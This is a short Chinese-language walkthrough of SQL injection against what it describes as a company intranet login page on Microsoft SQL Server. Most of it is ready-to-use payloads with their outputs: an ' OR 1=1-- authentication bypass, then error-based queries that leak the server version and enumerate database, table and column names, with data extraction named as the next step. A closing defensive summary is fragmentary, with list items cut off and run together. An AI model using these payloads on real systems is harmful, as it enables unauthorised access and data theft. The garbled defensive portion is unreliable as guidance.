公司內部網站登入頁:帳號、密碼、公司名三個輸入框。後端 SQL 推測:
SELECT * FROM Users WHERE Name='XX' AND Password='YY' AND Corp='ZZ'
輸入: 使用者名亂填、密碼留空、公司名輸入:
' OR 1=1--
生成 SQL:
SELECT * FROM Users WHERE Name='X' AND Password='' AND Corp='' OR 1=1--'
原理: 單引號閉合、-- 註解掉尾部引號、1=1 永真條件。成功以匿名身分登入。


輸入:
' OR 1=(SELECT @@VERSION)--
錯誤回顯:
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (SP3) - 10.0.5500.0 (X64)...' to data type int.
洩露: 完整 SQL Server 版本、作業系統資訊。

獲取資料庫名:
' OR 1=(SELECT TOP 1 Name FROM Master..SysDatabases WHERE Name NOT IN (SELECT TOP 0 Name FROM Master..SysDatabases))--
錯誤回顯:Conversion failed ... value 'master' to data type int → 獲得 master。遞增 TOP N 遍歷所有資料庫。
獲取資料表名:
' OR 1=(SELECT TOP 1 Name FROM Master..SysObjects WHERE XType='U' AND Name NOT IN (SELECT TOP 1 Name FROM Master..SysObjects WHERE XType='U'))--
獲得 spt_fallback_db 等系統表名。
獲取欄位名:
' OR 1=(SELECT TOP 1 Master..SysColumns.Name FROM Master..SysColumns, Master..SysObjects WHERE Master..SysColumns.Id=Master..SysObjects.Id AND Master..SysObjects.Name='spt_fallback_db')--
獲得 xserver_name 等欄位名。

掌握結構後,可構造查詢提取任意表資料(略)。
sp_executesql、PreparedStatement、ORM 參數綁定)SA、DBO 連線應用)SQL 注入從登入繞過 → 錯誤回顯 → 結構枚舉 → 資料竊取 形成完整攻擊鏈。核心防禦:參數化查詢 + 最小權限 + 錯誤資訊隱藏。無銀彈,需纵深防禦。